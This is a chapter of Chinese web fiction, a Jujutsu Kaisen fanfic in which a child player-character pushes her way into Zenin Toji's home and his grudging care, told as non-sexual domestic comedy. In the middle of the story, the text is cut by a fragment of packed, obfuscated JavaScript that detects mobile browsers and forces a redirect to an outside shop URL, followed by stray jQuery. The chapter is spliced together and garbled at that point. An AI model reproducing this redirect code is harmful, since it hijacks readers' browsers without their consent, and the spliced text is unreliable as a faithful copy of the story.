18.第 18 章
作品:《我的咒术人生模拟器》 禅院甚尔也不管你跟不跟了,大步流星穿过林间小径,他的院子偏,在家族宅邸边缘,半荒废的篱笆围着间独栋木屋。
他推门,闪身进去——
然后在你鼻尖堪堪抵达门槛的前一秒,“砰”地合上纸门。
门板几乎擦着你的面具边缘合上,力道大得震落了门框上几缕积灰。
你站在原地,抱着猫,摸了摸一鼻头的灰。
这么讨厌玩家的吗?不过这可难不倒你。
你把奶牛猫往上一抛,四爪腾空,稳稳落在墙脊上,回头冲你“喵”了一声。
你后退两步,自己也爬上了墙头,你骑在墙头,朝他挥了挥手。
禅院甚尔眼不见心不烦地背过身去。
他吃饭,你就盯着他吃饭。
他睡觉,你就盯着他睡觉。
他洗澡,你就……
“你到底想干嘛?”
你托腮:“盯——”
他猛地坐起身,抬手狠狠抓了一把本就凌乱的黑发,他深吸一口气,又重重吐出,像是试图把胸腔里那团无名火连同你一起吹散。
“算我输了,行吧?”他声音低沉,每个字都像从齿缝里挤出来的,“你告诉我为什么一直这么执着于我呢?”
他绿眸直直盯着你,难得地一口气说了一大串,“不论你去找谁,凭借你的容貌,你什么得不到?偏偏碰瓷上我这间小破院了?啊?小鬼?”
你呆滞了一瞬,摸着猫咪柔顺的毛发,笑眯眯地说:“啊,这是你第一次对我说这么长的话。”
禅院甚尔拧眉。
你从墙头跳下来,落地很轻。猫从你怀里跳开,蹲坐在你们之间,尾巴圈住爪尖。
“我认为我们相性还挺好的,”你说,“毕竟在牢里也算同生共死过,我还以为你已经接受我了呢,所以为什么你当时——”
明明那是你单方面不讲道理地奴役他,禅院甚尔气笑,“回答我的话。”
“我早就说过了啊,”你理所当然,“因为你等级很高。”
你向前一步,伸出手指,戳了戳他因绷紧而显得格外结实的小臂。
然后,在他还没有反应之前,你又踮起脚,指尖轻轻点在他侧脸的一道很浅的旧伤上。
“还因为你长得很顺眼。”
他拧着眉,把头扭向一边。
“这两点都是你独有的,很难得的,能被玩家大人喜欢。”你收回手,对他笑,“喜欢是真的哦。”
呵,像是被你喜欢有多了不得一样,他嗤笑,不再纠结你到底还继不继续纠缠他,禅院甚尔转身离去。
奶牛猫却忽然迈开步子,小跑到他脚前,娇声娇气地“喵”了一声,然后身子一歪,四脚朝天,露出雪白柔软的肚皮,尾巴尖讨好地轻晃。
禅院甚尔低头看了一眼,面无表情地弯腰,捏住猫的后颈皮,提溜起来,朝你的方向一抛。
“把你猫看好。”
奶牛猫在空中划过一道优美的抛物线,你伸手稳稳接住。
你低头,手指搔了搔它的下巴。
刚才说的那些话,的确都是真的。
你确实觉得他等级高,脸也好看——这对于要成为禅院家主的玩家来说,是很实用的优势,当手下的话,打起架来效率高,站在旁边也不伤眼睛,禅院那群老家伙没几个能看的。
冬去春来,禅院甚尔发现你还算是个好学生,世俗意义上的好学生,会按时去学堂上课,也会按时完成学堂布置的作业,学习上也很积极。
麻烦的乖孩子?啊,他认为你简直是魔王。
你不仅毫无边界感,自我中心主义,还随时随地地想和他单挑。
和那只发神经的奶牛猫简直一模一样!刚开始还装了会,到后面连装都不装了。
禅院甚尔无语地盯着头顶的天花板。
“砰!”
果然,禅院甚尔撑着脸转头看着门被大刺啦啦地打开。
“我来了!”
最开始这个人还睡在杂物间,后来据这个小鬼说是“杂物间太小啦”,他打扫了。
然后是“杂物间太脏啦”,他重新打扫了。
再然后是“小猫害怕一个人睡啦”——猫怕个屁,那猫半夜敢踩着他的脸走过去。
他难道没有好好地去满足你的要求吗吗?!为的就是防止你占据他唯一地私人空间,但是你还是过来了,因为你的脸皮实在太厚了。
你:脸皮是什么?
你抱着牛奶站在门口,理直气壮。
禅院甚尔撑着下巴,连头都懒得转:“你又过来干什么?那间房子里不是给你添了暖炉吗?”
“因为想增加你的好感度嘛。”
“喵~”牛奶也附和。
“呵。”
“虽然每次你都嘴上拒绝我,但是我每次过来的时候你都会悄悄的增加好感度哦。”
“哦。”禅院甚尔自然是不信你说的什么好感度的。
你自顾自开始安排:“牛奶睡中间,我睡这边。”
然后你爬上床,躺下。
禅院甚尔炸毛了。
“喂,你干什么?!”他猛地坐起,刚才被你蹭过的小臂还残留着一阵鸡皮疙瘩。
虽然之前你也在这边睡,但是你们之间隔了十万八千米,你睡地板,他睡床,井水不犯河水。
这次你居然堂而皇之地爬上了他的床。
你爬起来,莫名其妙地看着他:“睡觉啊,你看不出来吗?”
这一副温暖和睦的场景都快要让禅院甚尔吐了,还什么牛奶睡中间,爸爸妈妈吗?
“呕。”
“你都快六岁了,”他压着火,“给我下去!”
你再次盯着他,之前的单挑让你发现你暂时还打不过他,呜呜,你好怀念小葵,还有,没觉醒术式等级升得好慢啊呜呜……
你眼神一厉,一头栽回被褥里,四肢摊开,再次开始撒泼,充分发挥玩家的厚脸皮:“我不管我不管,我就要在这睡!”
牛奶仿佛接收到信号,突然仰头:“喵——嗷——呜——”
魔音贯耳。
禅院甚尔额角青筋突突直跳。他真是怕了你了。
“行,我下去总行了吧。”他起身。
他看着地面上你铺的一系列花花绿绿的被子和玩偶,嘴角抽了抽。
“喂,住我家住这么久了,你是不是连我名字都没记住?”
“啊哈哈,”你莫名心虚,“没有啊怎么了对了你之前——”
禅院甚尔冷笑,“别转移话题,呵呵,白眼狼。”
你惊讶,“你居然喊我白眼狼?”
“你说出我的名字我就不喊你白眼狼。”
“啊哈哈,你的名字是禅院、禅院……”你的声音越来越虚。
禅院甚尔:“呵。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173657|196515||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>你倒打一耙:“你一直喊我喂,小鬼,白眼狼,你是不是也根本没记住我的名字!
“华子。”他语气平静,“禅院华子。”
你语塞。
他垂眼看你,绿眸里没什么情绪,声音也淡:“你这个小鬼,给我好好记住我的名字。”
“好吧,我尽量,不过我真的很不擅长记人名嘛。”你解释。
因为你就算记住别人的名字了也会忘,在看完电视剧或者一本小说后你也只是记住了大致情节了,男女主名字你是一律记不住的,况且就算记住了角色的名字,你过一段时间后也会忘记。
何况你现在只是再玩游戏,玩完一个游戏还有其他游戏,了解完一个角色,其他角色也应接不暇,你实在没什么心思去记住那些没有亮点的角色。
因为玩家的时间真的很宝贵啊。
---
次日清晨。
禅院甚尔是被压醒的。
胸口沉甸甸的,还有均匀的温热呼吸隔着衣料渗进来。
猫?他迷迷糊糊地想。
一睁开眼就看见你趴在他胸口,睡得人事不省,嘴角甚至有一点可疑的水渍,面具不知什么时候蹭歪了,露出半边睡得泛红的脸颊。黑发散在他衣襟上,几缕缠住了他的纽扣。
猫卧在你后腰,尾巴搭在你小腿上,也睡得四仰八叉。
禅院甚尔深吸一口气。
“禅、院、华、子。”他声音沙哑,每个字都像从喉咙里飙出来的一样,“起开啊!”
你迷迷糊糊睁眼。
“诶?”
禅院甚尔把你从胸口薅下去,又把你从地板上拎起来,半拖半拽地带到洗漱室。
你还没完全醒,整个人软绵绵地挂在他手臂上,像只没骨头的猫。
他把毛巾浸了温水,拧干,糊上你的脸。
“唔……”你挣扎了一下。
他没松手,力道不轻不重地把你整张脸擦了一遍。
“自己刷牙。”他把牙刷塞进你手里。
你终于清醒了一点,接过牙刷,对着镜子开始机械地上下移动。
他转身出去,从柜子里翻出猫粮袋,往牛奶的碗里倒了一把,牛奶早已蹲守在食盆旁,尾巴期待地轻晃。
你漱完口,走出来,头发还散着。
禅院甚尔看了你一眼,开始任劳任怨地给你梳头发。
本来还很生疏的动作,但经过你的磋磨(?)变得十分之熟练。
你:赞。
吃完早饭,你神清气爽。
你站起身,朝门口迈出一步,右手高高扬起,中气十足:
“全军出击——”
“擦嘴。”
他从后面递来一张餐巾纸。
你回头,接过纸,对着嘴角胡乱蹭了两下,塞回他手里。
“拜拜拜拜!我去上课了!”
然后像阵小旋风一样卷出门。
禅院甚尔站在原地,手里还捏着那张皱巴巴的纸巾。
他看着你消失的方向,嘴角几不可察地提起一点弧度,又立刻压下去了。
他的表情忽然僵住。
等等。
他低头,看看手里的纸巾,又看看空荡荡的房间,再看看自己腰间还没解下来的围裙——那是刚才倒猫粮时顺手系的,忘了摘。
他如遭雷击。
靠,他怎么变成你的保父了?!

